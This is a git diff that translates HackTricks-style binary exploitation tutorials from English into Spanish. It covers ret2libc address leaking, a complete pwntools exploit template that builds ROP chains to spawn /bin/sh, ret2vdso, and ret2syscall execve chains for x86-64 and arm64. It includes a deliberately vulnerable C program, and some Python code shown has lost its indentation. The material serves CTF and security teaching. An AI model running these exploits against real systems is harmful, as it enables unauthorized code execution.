**read the content** inside `PUTS_GOT` (**the address of puts function in memory**) and will **print it out**.\ -Finally, **main function is called again** so we can exploit the overflow again. - -This way we have **tricked puts function** to **print** out the **address** in **memory** of the function **puts** (which is inside **libc** library). Now that we have that address we can **search which libc version is being used**. +De esta manera hemos **engañado a la función puts** para que **imprima** la **dirección** en **memoria** de la función **puts** (que está dentro de la biblioteca **libc**). Ahora que tenemos esa dirección, podemos **buscar qué versión de libc se está utilizando**. ![](<../../../../images/image (1049).png>) -As we are **exploiting** some **local** binary it is **not needed** to figure out which version of **libc** is being used (just find the library in `/lib/x86_64-linux-gnu/libc.so.6`).\ -But, in a remote exploit case I will explain here how can you find it: +Como estamos **explotando** algún binario **local**, **no es necesario** averiguar qué versión de **libc** se está utilizando (solo encuentra la biblioteca en `/lib/x86_64-linux-gnu/libc.so.6`).\ +Pero, en un caso de explotación remota, explicaré aquí cómo puedes encontrarla: -### 3.1- Searching for libc version (1) +### 3.1- Buscando la versión de libc (1) -You can search which library is being used in the web page: [https://libc.blukat.me/](https://libc.blukat.me)\ -It will also allow you to download the discovered version of **libc** +Puedes buscar qué biblioteca se está utilizando en la página web: [https://libc.blukat.me/](https://libc.blukat.me)\ +También te permitirá descargar la versión descubierta de **libc** ![](<../../../../images/image (221).png>) -### 3.2- Searching for libc version (2) +### 3.2- Buscando la versión de libc (2) -You can also do: +También puedes hacer: - `$ git clone https://github.com/niklasb/libc-database.git` - `$ cd libc-database` - `$ ./get` -This will take some time, be patient.\ -For this to work we need: +Esto tomará algo de tiempo, ten paciencia.\ +Para que esto funcione necesitamos: -- Libc symbol name: `puts` -- Leaked libc adddress: `0x7ff629878690` - -We can figure out which **libc** that is most likely used. +- Nombre del símbolo de libc: `puts` +- Dirección de libc filtrada: `0x7ff629878690` +Podemos averiguar qué **libc** es la que probablemente se está utilizando. ```bash ./find puts 0x7ff629878690 ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64) archive-glibc (id libc6_2.23-0ubuntu11_amd64) ``` - -We get 2 matches (you should try the second one if the first one is not working). Download the first one: - +Obtenemos 2 coincidencias (deberías probar la segunda si la primera no funciona). Descarga la primera: ```bash ./download libc6_2.23-0ubuntu10_amd64 Getting libc6_2.23-0ubuntu10_amd64 - -> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb - -> Downloading package - -> Extracting package - -> Package saved to libs/libc6_2.23-0ubuntu10_amd64 +-> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb +-> Downloading package +-> Extracting package +-> Package saved to libs/libc6_2.23-0ubuntu10_amd64 ``` +Copia la libc de `libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so` a nuestro directorio de trabajo. -Copy the libc from `libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so` to our working directory. - -### 3.3- Other functions to leak - +### 3.3- Otras funciones para filtrar ```python puts printf @@ -198,28 +181,24 @@ __libc_start_main read gets ``` +## 4- Encontrar la dirección de libc basada y explotar -## 4- Finding based libc address & exploiting +En este punto, deberíamos conocer la biblioteca libc utilizada. Como estamos explotando un binario local, usaré solo: `/lib/x86_64-linux-gnu/libc.so.6` -At this point we should know the libc library used. As we are exploiting a local binary I will use just:`/lib/x86_64-linux-gnu/libc.so.6` +Así que, al principio de `template.py`, cambia la variable **libc** a: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Establecer la ruta de la biblioteca cuando se conozca` -So, at the beginning of `template.py` change the **libc** variable to: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it` - -Giving the **path** to the **libc library** the rest of the **exploit is going to be automatically calculated**. - -Inside the `get_addr`function the **base address of libc** is going to be calculated: +Al dar la **ruta** a la **biblioteca libc**, el resto de la **explotación se calculará automáticamente**. +Dentro de la función `get_addr`, se calculará la **dirección base de libc**: ```python if libc != "": - libc.address = leak - libc.symbols[func_name] #Save libc base - log.info("libc base @ %s" % hex(libc.address)) +libc.address = leak - libc.symbols[func_name] #Save libc base +log.info("libc base @ %s" % hex(libc.address)) ``` - > [!NOTE] -> Note that **final libc base address must end in 00**. If that's not your case you might have leaked an incorrect library. - -Then, the address to the function `system` and the **address** to the string _"/bin/sh"_ are going to be **calculated** from the **base address** of **libc** and given the **libc library.** +> Tenga en cuenta que **la dirección base final de libc debe terminar en 00**. Si ese no es su caso, es posible que haya filtrado una biblioteca incorrecta. +Luego, la dirección de la función `system` y la **dirección** de la cadena _"/bin/sh"_ se van a **calcular** a partir de la **dirección base** de **libc** y dada la **biblioteca libc.** ```python BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh SYSTEM = libc.sym["system"] @@ -228,9 +207,7 @@ EXIT = libc.sym["exit"] log.info("bin/sh %s " % hex(BINSH)) log.info("system %s " % hex(SYSTEM)) ``` - -Finally, the /bin/sh execution exploit is going to be prepared sent: - +Finalmente, se va a preparar el exploit de ejecución /bin/sh: ```python rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT) @@ -240,65 +217,56 @@ p.sendline(rop2) #### Interact with the shell ##### p.interactive() #Interact with the conenction ``` +Vamos a explicar este ROP final.\ +El último ROP (`rop1`) terminó llamando nuevamente a la función main, luego podemos **explotar nuevamente** el **desbordamiento** (por eso el `OFFSET` está aquí de nuevo). Luego, queremos llamar a `POP_RDI` apuntando a la **dirección** de _"/bin/sh"_ (`BINSH`) y llamar a la función **system** (`SYSTEM`) porque la dirección de _"/bin/sh"_ se pasará como un parámetro.\ +Finalmente, se **llama** a la **dirección de la función exit** para que el proceso **salga correctamente** y no se genere ninguna alerta. -Let's explain this final ROP.\ -The last ROP (`rop1`) ended calling again the main function, then we can **exploit again** the **overflow** (that's why the `OFFSET` is here again). Then, we want to call `POP_RDI` pointing to the **addres** of _"/bin/sh"_ (`BINSH`) and call **system** function (`SYSTEM`) because the address of _"/bin/sh"_ will be passed as a parameter.\ -Finally, the **address of exit function** is **called** so the process **exists nicely** and any alert is generated. - -**This way the exploit will execute a \_/bin/sh**\_\*\* shell.\*\* +**De esta manera, el exploit ejecutará un \_/bin/sh**\_\*\* shell.\*\* ![](<../../../../images/image (165).png>) -## 4(2)- Using ONE_GADGET +## 4(2)- Usando ONE_GADGET -You could also use [**ONE_GADGET** ](https://github.com/david942j/one_gadget)to obtain a shell instead of using **system** and **"/bin/sh". ONE_GADGET** will find inside the libc library some way to obtain a shell using just one **ROP address**.\ -However, normally there are some constrains, the most common ones and easy to avoid are like `[rsp+0x30] == NULL` As you control the values inside the **RSP** you just have to send some more NULL values so the constrain is avoided. +También podrías usar [**ONE_GADGET** ](https://github.com/david942j/one_gadget) para obtener un shell en lugar de usar **system** y **"/bin/sh". ONE_GADGET** encontrará dentro de la biblioteca libc alguna forma de obtener un shell usando solo una **dirección ROP**.\ +Sin embargo, normalmente hay algunas restricciones, las más comunes y fáciles de evitar son como `[rsp+0x30] == NULL`. Como controlas los valores dentro del **RSP**, solo tienes que enviar algunos valores NULL más para evitar la restricción. ![](<../../../../images/image (754).png>) - ```python ONE_GADGET = libc.address + 0x4526a rop2 = base + p64(ONE_GADGET) + "\x00"*100 ``` - ## EXPLOIT FILE -You can find a template to exploit this vulnerability here: +Puedes encontrar una plantilla para explotar esta vulnerabilidad aquí: {{#ref}} rop-leaking-libc-template.md {{#endref}} -## Common problems +## Problemas comunes -### MAIN_PLT = elf.symbols\['main'] not found - -If the "main" symbol does not exist. Then you can find where is the main code: +### MAIN_PLT = elf.symbols\['main'] no encontrado +Si el símbolo "main" no existe. Entonces puedes encontrar dónde está el código principal: ```python objdump -d vuln_binary | grep "\.text" Disassembly of section .text: 0000000000401080 <.text>: ``` - -and set the address manually: - +y establece la dirección manualmente: ```python MAIN_PLT = 0x401080 ``` +### Puts no encontrado -### Puts not found +Si el binario no está utilizando Puts, deberías verificar si está utilizando -If the binary is not using Puts you should check if it is using +### `sh: 1: %s%s%s%s%s%s%s%s: no encontrado` -### `sh: 1: %s%s%s%s%s%s%s%s: not found` - -If you find this **error** after creating **all** the exploit: `sh: 1: %s%s%s%s%s%s%s%s: not found` - -Try to **subtract 64 bytes to the address of "/bin/sh"**: +Si encuentras este **error** después de crear **todo** el exploit: `sh: 1: %s%s%s%s%s%s%s%s: no encontrado` +Intenta **restar 64 bytes a la dirección de "/bin/sh"**: ```python BINSH = next(libc.search("/bin/sh")) - 64 ``` - {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md index def2864f4..a84ba2466 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md +++ b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md @@ -1,11 +1,6 @@ -# Leaking libc - template +# Filtrando libc - plantilla {{#include ../../../../banners/hacktricks-training.md}} - -
- -{% embed url="https://websec.nl/" %} - ```python:template.py from pwn import ELF, process, ROP, remote, ssh, gdb, cyclic, cyclic_find, log, p64, u64 # Import pwntools @@ -25,25 +20,25 @@ LIBC = "" #ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it ENV = {"LD_PRELOAD": LIBC} if LIBC else {} if LOCAL: - P = process(LOCAL_BIN, env=ENV) # start the vuln binary - ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary - ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets +P = process(LOCAL_BIN, env=ENV) # start the vuln binary +ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary +ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets elif REMOTETTCP: - P = remote('10.10.10.10',1339) # start the vuln binary - ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary - ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets +P = remote('10.10.10.10',1339) # start the vuln binary +ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary +ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets elif REMOTESSH: - ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220) - p = ssh_shell.process(REMOTE_BIN) # start the vuln binary - elf = ELF(LOCAL_BIN)# Extract data from binary - rop = ROP(elf)# Find ROP gadgets +ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220) +p = ssh_shell.process(REMOTE_BIN) # start the vuln binary +elf = ELF(LOCAL_BIN)# Extract data from binary +rop = ROP(elf)# Find ROP gadgets if GDB and not REMOTETTCP and not REMOTESSH: - # attach gdb and continue - # You can set breakpoints, for example "break *main" - gdb.attach(P.pid, "b *main") +# attach gdb and continue +# You can set breakpoints, for example "break *main" +gdb.attach(P.pid, "b *main") @@ -53,15 +48,15 @@ if GDB and not REMOTETTCP and not REMOTESSH: OFFSET = b"" #b"A"*264 if OFFSET == b"": - gdb.attach(P.pid, "c") #Attach and continue - payload = cyclic(264) - payload += b"AAAAAAAA" - print(P.clean()) - P.sendline(payload) - #x/wx $rsp -- Search for bytes that crashed the application - #print(cyclic_find(0x63616171)) # Find the offset of those bytes - P.interactive() - exit() +gdb.attach(P.pid, "c") #Attach and continue +payload = cyclic(264) +payload += b"AAAAAAAA" +print(P.clean()) +P.sendline(payload) +#x/wx $rsp -- Search for bytes that crashed the application +#print(cyclic_find(0x63616171)) # Find the offset of those bytes +P.interactive() +exit() @@ -69,11 +64,11 @@ if OFFSET == b"": ### Find Gadgets ### #################### try: - libc_func = "puts" - PUTS_PLT = ELF_LOADED.plt['puts'] #PUTS_PLT = ELF_LOADED.symbols["puts"] # This is also valid to call puts +libc_func = "puts" +PUTS_PLT = ELF_LOADED.plt['puts'] #PUTS_PLT = ELF_LOADED.symbols["puts"] # This is also valid to call puts except: - libc_func = "printf" - PUTS_PLT = ELF_LOADED.plt['printf'] +libc_func = "printf" +PUTS_PLT = ELF_LOADED.plt['printf'] MAIN_PLT = ELF_LOADED.symbols['main'] POP_RDI = (ROP_LOADED.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi" @@ -90,54 +85,54 @@ log.info("ret gadget: " + hex(RET)) ######################## def generate_payload_aligned(rop): - payload1 = OFFSET + rop - if (len(payload1) % 16) == 0: - return payload1 +payload1 = OFFSET + rop +if (len(payload1) % 16) == 0: +return payload1 - else: - payload2 = OFFSET + p64(RET) + rop - if (len(payload2) % 16) == 0: - log.info("Payload aligned successfully") - return payload2 - else: - log.warning(f"I couldn't align the payload! Len: {len(payload1)}") - return payload1 +else: +payload2 = OFFSET + p64(RET) + rop +if (len(payload2) % 16) == 0: +log.info("Payload aligned successfully") +return payload2 +else: +log.warning(f"I couldn't align the payload! Len: {len(payload1)}") +return payload1 def get_addr(libc_func): - FUNC_GOT = ELF_LOADED.got[libc_func] - log.info(libc_func + " GOT @ " + hex(FUNC_GOT)) - # Create rop chain - rop1 = p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT) - rop1 = generate_payload_aligned(rop1) +FUNC_GOT = ELF_LOADED.got[libc_func] +log.info(libc_func + " GOT @ " + hex(FUNC_GOT)) +# Create rop chain +rop1 = p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT) +rop1 = generate_payload_aligned(rop1) - # Send our rop-chain payload - #P.sendlineafter("dah?", rop1) #Use this to send the payload when something is received - print(P.clean()) # clean socket buffer (read all and print) - P.sendline(rop1) +# Send our rop-chain payload +#P.sendlineafter("dah?", rop1) #Use this to send the payload when something is received +print(P.clean()) # clean socket buffer (read all and print) +P.sendline(rop1) - # If binary is echoing back the payload, remove that message - recieved = P.recvline().strip() - if OFFSET[:30] in recieved: - recieved = P.recvline().strip() +# If binary is echoing back the payload, remove that message +recieved = P.recvline().strip() +if OFFSET[:30] in recieved: +recieved = P.recvline().strip() - # Parse leaked address - log.info(f"Len rop1: {len(rop1)}") - leak = u64(recieved.ljust(8, b"\x00")) - log.info(f"Leaked LIBC address, {libc_func}: {hex(leak)}") +# Parse leaked address +log.info(f"Len rop1: {len(rop1)}") +leak = u64(recieved.ljust(8, b"\x00")) +log.info(f"Leaked LIBC address, {libc_func}: {hex(leak)}") - # Set lib base address - if LIBC: - LIBC.address = leak - LIBC.symbols[libc_func] #Save LIBC base - print("If LIBC base doesn't end end 00, you might be using an icorrect libc library") - log.info("LIBC base @ %s" % hex(LIBC.address)) +# Set lib base address +if LIBC: +LIBC.address = leak - LIBC.symbols[libc_func] #Save LIBC base +print("If LIBC base doesn't end end 00, you might be using an icorrect libc library") +log.info("LIBC base @ %s" % hex(LIBC.address)) - # If not LIBC yet, stop here - else: - print("TO CONTINUE) Find the LIBC library and continue with the exploit... (https://LIBC.blukat.me/)") - P.interactive() +# If not LIBC yet, stop here +else: +print("TO CONTINUE) Find the LIBC library and continue with the exploit... (https://LIBC.blukat.me/)") +P.interactive() - return hex(leak) +return hex(leak) get_addr(libc_func) #Search for puts address in memmory to obtain LIBC base @@ -150,38 +145,38 @@ get_addr(libc_func) #Search for puts address in memmory to obtain LIBC base ## Via One_gadget (https://github.com/david942j/one_gadget) # gem install one_gadget def get_one_gadgets(libc): - import string, subprocess - args = ["one_gadget", "-r"] - if len(libc) == 40 and all(x in string.hexdigits for x in libc.hex()): - args += ["-b", libc.hex()] - else: - args += [libc] - try: - one_gadgets = [int(offset) for offset in subprocess.check_output(args).decode('ascii').strip().split()] - except: - print("One_gadget isn't installed") - one_gadgets = [] - return +import string, subprocess +args = ["one_gadget", "-r"] +if len(libc) == 40 and all(x in string.hexdigits for x in libc.hex()): +args += ["-b", libc.hex()] +else: +args += [libc] +try: +one_gadgets = [int(offset) for offset in subprocess.check_output(args).decode('ascii').strip().split()] +except: +print("One_gadget isn't installed") +one_gadgets = [] +return rop2 = b"" if USE_ONE_GADGET: - one_gadgets = get_one_gadgets(LIBC) - if one_gadgets: - rop2 = p64(one_gadgets[0]) + "\x00"*100 #Usually this will fullfit the constrains +one_gadgets = get_one_gadgets(LIBC) +if one_gadgets: +rop2 = p64(one_gadgets[0]) + "\x00"*100 #Usually this will fullfit the constrains ## Normal/Long exploitation if not rop2: - BINSH = next(LIBC.search(b"/bin/sh")) #Verify with find /bin/sh - SYSTEM = LIBC.sym["system"] - EXIT = LIBC.sym["exit"] +BINSH = next(LIBC.search(b"/bin/sh")) #Verify with find /bin/sh +SYSTEM = LIBC.sym["system"] +EXIT = LIBC.sym["exit"] - log.info("POP_RDI %s " % hex(POP_RDI)) - log.info("bin/sh %s " % hex(BINSH)) - log.info("system %s " % hex(SYSTEM)) - log.info("exit %s " % hex(EXIT)) +log.info("POP_RDI %s " % hex(POP_RDI)) +log.info("bin/sh %s " % hex(BINSH)) +log.info("system %s " % hex(SYSTEM)) +log.info("exit %s " % hex(EXIT)) - rop2 = p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) #p64(EXIT) - rop2 = generate_payload_aligned(rop2) +rop2 = p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) #p64(EXIT) +rop2 = generate_payload_aligned(rop2) print(P.clean()) @@ -189,41 +184,30 @@ P.sendline(rop2) P.interactive() #Interact with your shell :) ``` +## Problemas comunes -## Common problems - -### MAIN_PLT = elf.symbols\['main'] not found - -If the "main" symbol does not exist (probably because it's a stripped binary). Then you can just find where is the main code: +### MAIN_PLT = elf.symbols\['main'] no encontrado +Si el símbolo "main" no existe (probablemente porque es un binario eliminado). Entonces solo puedes encontrar dónde está el código principal: ```python objdump -d vuln_binary | grep "\.text" Disassembly of section .text: 0000000000401080 <.text>: ``` - -and set the address manually: - +y establece la dirección manualmente: ```python MAIN_PLT = 0x401080 ``` +### Puts no encontrado -### Puts not found +Si el binario no está utilizando Puts, deberías **verificar si está utilizando** -If the binary is not using Puts you should **check if it is using** +### `sh: 1: %s%s%s%s%s%s%s%s: no encontrado` -### `sh: 1: %s%s%s%s%s%s%s%s: not found` - -If you find this **error** after creating **all** the exploit: `sh: 1: %s%s%s%s%s%s%s%s: not found` - -Try to **subtract 64 bytes to the address of "/bin/sh"**: +Si encuentras este **error** después de crear **todo** el exploit: `sh: 1: %s%s%s%s%s%s%s%s: no encontrado` +Intenta **restar 64 bytes a la dirección de "/bin/sh"**: ```python BINSH = next(libc.search("/bin/sh")) - 64 ``` - -
- -{% embed url="https://websec.nl/" %} - {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2vdso.md b/src/binary-exploitation/rop-return-oriented-programing/ret2vdso.md index a3a6c9ed5..f8c4d40fe 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/ret2vdso.md +++ b/src/binary-exploitation/rop-return-oriented-programing/ret2vdso.md @@ -2,12 +2,11 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## Información Básica -There might be **gadgets in the vDSO region**, which is used to change from user mode to kernel mode. In these type of challenges, usually a kernel image is provided to dump the vDSO region. - -Following the example from [https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/) it's possible to see how it was possible to dump the vdso section and move it to the host with: +Puede haber **gadgets en la región vDSO**, que se utiliza para cambiar del modo usuario al modo kernel. En este tipo de desafíos, generalmente se proporciona una imagen del kernel para volcar la región vDSO. +Siguiendo el ejemplo de [https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/) es posible ver cómo se pudo volcar la sección vdso y moverla al host con: ```bash # Find addresses cat /proc/76/maps @@ -33,9 +32,7 @@ echo '' | base64 -d | gzip -d - > vdso file vdso ROPgadget --binary vdso | grep 'int 0x80' ``` - -ROP gadgets found: - +Gadgets ROP encontrados: ```python vdso_addr = 0xf7ffc000 @@ -54,13 +51,12 @@ or_al_byte_ptr_ebx_pop_edi_pop_ebp_ret_addr = vdso_addr + 0xccb # 0x0000015cd : pop ebx ; pop esi ; pop ebp ; ret pop_ebx_pop_esi_pop_ebp_ret = vdso_addr + 0x15cd ``` - > [!CAUTION] -> Note therefore how it might be possible to **bypass ASLR abusing the vdso** if the kernel is compiled with CONFIG_COMPAT_VDSO as the vdso address won't be randomized: [https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639](https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639) +> Nota, por lo tanto, cómo podría ser posible **eludir ASLR abusando del vdso** si el kernel está compilado con CONFIG_COMPAT_VDSO ya que la dirección del vdso no será aleatorizada: [https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639](https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639) ### ARM64 -After dumping and checking the vdso section of a binary in kali 2023.2 arm64, I couldn't find in there any interesting gadget (no way to control registers from values in the stack or to control x30 for a ret) **except a way to call a SROP**. Check more info int eh example from the page: +Después de volcar y verificar la sección vdso de un binario en kali 2023.2 arm64, no pude encontrar allí ningún gadget interesante (sin forma de controlar registros a partir de valores en la pila o controlar x30 para un ret) **excepto una forma de llamar a un SROP**. Consulta más información en el ejemplo de la página: {{#ref}} srop-sigreturn-oriented-programming/srop-arm64.md diff --git a/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md b/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md index 444927dfd..45c53beef 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md +++ b/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md @@ -2,26 +2,25 @@ {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## Información Básica -This is similar to Ret2lib, however, in this case we won't be calling a function from a library. In this case, everything will be prepared to call the syscall `sys_execve` with some arguments to execute `/bin/sh`. This technique is usually performed on binaries that are compiled statically, so there might be plenty of gadgets and syscall instructions. +Esto es similar a Ret2lib, sin embargo, en este caso no estaremos llamando a una función de una biblioteca. En este caso, todo estará preparado para llamar a la syscall `sys_execve` con algunos argumentos para ejecutar `/bin/sh`. Esta técnica se realiza generalmente en binarios que están compilados estáticamente, por lo que puede haber muchos gadgets e instrucciones de syscall. -In order to prepare the call for the **syscall** it's needed the following configuration: +Para preparar la llamada a la **syscall** se necesita la siguiente configuración: -- `rax: 59 Specify sys_execve` -- `rdi: ptr to "/bin/sh" specify file to execute` -- `rsi: 0 specify no arguments passed` -- `rdx: 0 specify no environment variables passed` +- `rax: 59 Especificar sys_execve` +- `rdi: ptr a "/bin/sh" especificar archivo a ejecutar` +- `rsi: 0 especificar que no se pasan argumentos` +- `rdx: 0 especificar que no se pasan variables de entorno` -So, basically it's needed to write the string `/bin/sh` somewhere and then perform the `syscall` (being aware of the padding needed to control the stack). For this, we need a gadget to write `/bin/sh` in a known area. +Así que, básicamente, se necesita escribir la cadena `/bin/sh` en algún lugar y luego realizar la `syscall` (teniendo en cuenta el padding necesario para controlar la pila). Para esto, necesitamos un gadget para escribir `/bin/sh` en un área conocida. > [!TIP] -> Another interesting syscall to call is **`mprotect`** which would allow an attacker to **modify the permissions of a page in memory**. This can be combined with [**ret2shellcode**](../../stack-overflow/stack-shellcode/). +> Otra syscall interesante para llamar es **`mprotect`** que permitiría a un atacante **modificar los permisos de una página en memoria**. Esto se puede combinar con [**ret2shellcode**](../../stack-overflow/stack-shellcode/). -## Register gadgets - -Let's start by finding **how to control those registers**: +## Gadgets de Registro +Comencemos por encontrar **cómo controlar esos registros**: ```bash ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret" 0x0000000000415664 : pop rax ; ret @@ -29,15 +28,13 @@ ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret" 0x00000000004101f3 : pop rsi ; ret 0x00000000004498b5 : pop rdx ; ret ``` +Con estas direcciones es posible **escribir el contenido en la pila y cargarlo en los registros**. -With these addresses it's possible to **write the content in the stack and load it into the registers**. +## Escribir cadena -## Write string - -### Writable memory - -First you need to find a writable place in the memory +### Memoria escribible +Primero necesitas encontrar un lugar escribible en la memoria. ```bash gef> vmmap [ Legend: Code | Heap | Stack ] @@ -46,26 +43,20 @@ Start End Offset Perm Path 0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001 0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap] ``` +### Escribir cadena en memoria -### Write String in memory - -Then you need to find a way to write arbitrary content in this address - +Luego necesitas encontrar una manera de escribir contenido arbitrario en esta dirección. ```python ROPgadget --binary speedrun-001 | grep " : mov qword ptr \[" mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx ``` +### Automatizar la cadena ROP -### Automate ROP chain - -The following command creates a full `sys_execve` ROP chain given a static binary when there are write-what-where gadgets and syscall instructions: - +El siguiente comando crea una cadena ROP completa `sys_execve` dada una binaria estática cuando hay gadgets de write-what-where e instrucciones de syscall: ```bash ROPgadget --binary vuln --ropchain ``` - #### 32 bits - ```python ''' Lets write "/bin/sh" to 0x6b6000 @@ -87,9 +78,7 @@ rop += popRax rop += p32(0x6b6000 + 4) rop += writeGadget ``` - #### 64 bits - ```python ''' Lets write "/bin/sh" to 0x6b6000 @@ -105,17 +94,15 @@ rop += popRax rop += p64(0x6b6000) # Writable memory rop += writeGadget #Address to: mov qword ptr [rax], rdx ``` +## Gadgets Faltantes -## Lacking Gadgets - -If you are **lacking gadgets**, for example to write `/bin/sh` in memory, you can use the **SROP technique to control all the register values** (including RIP and params registers) from the stack: +Si te **faltan gadgets**, por ejemplo para escribir `/bin/sh` en memoria, puedes usar la **técnica SROP para controlar todos los valores de los registros** (incluyendo RIP y los registros de parámetros) desde la pila: {{#ref}} ../srop-sigreturn-oriented-programming/ {{#endref}} -## Exploit Example - +## Ejemplo de Explotación ```python from pwn import * @@ -182,14 +169,13 @@ target.sendline(payload) target.interactive() ``` - -## Other Examples & References +## Otros Ejemplos y Referencias - [https://guyinatuxedo.github.io/07-bof_static/dcquals19_speedrun1/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals19_speedrun1/index.html) - - 64 bits, no PIE, nx, write in some memory a ROP to call `execve` and jump there. +- 64 bits, sin PIE, nx, escribir en alguna memoria un ROP para llamar a `execve` y saltar allí. - [https://guyinatuxedo.github.io/07-bof_static/bkp16_simplecalc/index.html](https://guyinatuxedo.github.io/07-bof_static/bkp16_simplecalc/index.html) - - 64 bits, nx, no PIE, write in some memory a ROP to call `execve` and jump there. In order to write to the stack a function that performs mathematical operations is abused +- 64 bits, nx, sin PIE, escribir en alguna memoria un ROP para llamar a `execve` y saltar allí. Para escribir en la pila se abusa de una función que realiza operaciones matemáticas. - [https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html) - - 64 bits, no PIE, nx, BF canary, write in some memory a ROP to call `execve` and jump there. +- 64 bits, sin PIE, nx, BF canary, escribir en alguna memoria un ROP para llamar a `execve` y saltar allí. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md b/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md index 5b912eab8..143632b05 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md +++ b/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md @@ -2,80 +2,73 @@ {{#include ../../../banners/hacktricks-training.md}} -Find an introduction to arm64 in: +Encuentra una introducción a arm64 en: {{#ref}} ../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md {{#endref}} -## Code +## Código -We are going to use the example from the page: +Vamos a usar el ejemplo de la página: {{#ref}} ../../stack-overflow/ret2win/ret2win-arm64.md {{#endref}} - ```c #include #include void win() { - printf("Congratulations!\n"); +printf("Congratulations!\n"); } void vulnerable_function() { - char buffer[64]; - read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability +char buffer[64]; +read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability } int main() { - vulnerable_function(); - return 0; +vulnerable_function(); +return 0; } ``` - -Compile without pie and canary: - +Compilar sin pie y canario: ```bash clang -o ret2win ret2win.c -fno-stack-protector ``` - ## Gadgets -In order to prepare the call for the **syscall** it's needed the following configuration: +Para preparar la llamada para el **syscall** se necesita la siguiente configuración: -- `x8: 221 Specify sys_execve` -- `x0: ptr to "/bin/sh" specify file to execute` -- `x1: 0 specify no arguments passed` -- `x2: 0 specify no environment variables passed` - -Using ROPgadget.py I was able to locate the following gadgets in the libc library of the machine: +- `x8: 221 Especificar sys_execve` +- `x0: ptr a "/bin/sh" especificar archivo a ejecutar` +- `x1: 0 especificar que no se pasan argumentos` +- `x2: 0 especificar que no se pasan variables de entorno` +Usando ROPgadget.py pude localizar los siguientes gadgets en la biblioteca libc de la máquina: ```armasm ;Load x0, x1 and x3 from stack and x5 and call x5 0x0000000000114c30: - ldp x3, x0, [sp, #8] ; - ldp x1, x4, [sp, #0x18] ; - ldr x5, [sp, #0x58] ; - ldr x2, [sp, #0xe0] ; - blr x5 +ldp x3, x0, [sp, #8] ; +ldp x1, x4, [sp, #0x18] ; +ldr x5, [sp, #0x58] ; +ldr 